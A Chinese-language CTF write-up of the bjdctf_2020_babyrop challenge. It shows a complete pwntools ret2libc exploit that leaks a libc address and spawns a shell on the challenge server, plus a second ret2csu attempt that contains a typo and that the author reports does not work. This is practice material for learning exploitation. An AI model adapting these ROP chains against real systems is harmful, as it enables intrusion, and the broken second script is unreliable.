bjdctf_2020_babyrop 先检查文件保护:
很明显就开启了栈不可执行,和partial relro:
很明显是64位,拖进ida查看:
可以看到有两个函数,init和vuln:
查看init
发现就是关闭缓冲区和打印两段文字
再查看vuln:
这里可以看到有很明显的缓冲区溢出在read处。
这里我们就已经可以开始写exp了
在此之前可以再看看是否程序中直接给出了我们想要的东西:
很明显也没有,那么我们基本可以进行ret2libc:
第一步先查找pop_rdi:
因为题目中已经告诉我们是ubuntu16的系统,所以必然不需要在使用ret进行堆栈平衡。
所以有exp:
pythonfrom pwn import*
from LibcSearcher import*
context(log_level = 'debug',arch = 'amd64',os= 'linux')
io = remote('node4.buuoj.cn',27892)
#io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['main']
pop_rdi = 0x0400733
ret = 0x4004c9
payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'Pull up your sword and tell me u story!\n')
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
#gdb.attach(io)
payload2 = b'a'*(0x20+8)+flat([pop_rdi,binsh,system])
#io.recvuntil(b'Pull up your sword and tell me u story!\n')
io.sendline(payload2)
io.interactive()
这样在本地是打不通的,应该是跟本地的libc版本有关(我还调了老半天),打远程秒解。
在这里用ret2libc打通后,我突然想用ret2csu再打一遍
于是我写了下面这样的exp:
pythonfrom pwn import*
from LibcSearcher import*
#context(log_level='debug',arch='amd64',os='linux')
io = remote('node4.buuoj.cn',27892)
#io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr=elf.symbols['vuln']
csu_last= 0x40072A
csu_former=0x400710
#def csu(rbx,rbp,r12,r13,r14,r15,addr):
payload1 = b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(puts_plt)+p64(0)+p64(0)+p64(puts_got)+p64(csu_former)+b'a'*0x38+p64(vuln_addr)
#io.sendline(payload)
#gdb.attach(io)
io.recvuntil(b'story!\n')
#csu(0,1,puts_plt,0,0,puts_got,vuln_addr)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload2= b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(system)+p64(0)+p64(0)+p64(binah)+p64(csu_former)+b'a'*0x38+p64(vuln_addr)
#io.recvuntil(b'Pull up your sword and tell me u story!\n')
#csu(0,1,system,0,0,binsh,vuln_addr)
io.sendline(payload2)
io.interactive()
这里我一开始也是define一个csu函数进行构造payload在发送,但是一直报错,一开始我以为是那个地方写错了,但是我看了好久还是没有问题。
然后开始了本地调试,然后就是我很不理解的地方:
一直报错:
我很不能理解为什么0x400710会变成0x7fff00400710,网上查了说是二进制符号位和aslr,但是如果是这样的话,那为什么我第一个p64(csu_last)可以成功跳转呢?这一点存疑
这一个问题不管是定义函数还是直接使用都会出现,甚至不用这个地址用一开始csu_last地址也会变成0x7fff,这让我怀疑这个ret或者说前面的寄存器的值是否是可以随便填写的。
这里地址错误的原因大抵是因为:
只有0x44字节空间,不够填充。可以两次利用。
【注意】:即便是64位传参,def csu()时参数都在寄存器中,但是第二次覆盖b’a’*0x38必然还是不够,因为还是要溢出,但是如果将一压参的方式进进行覆盖或许就可以。
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!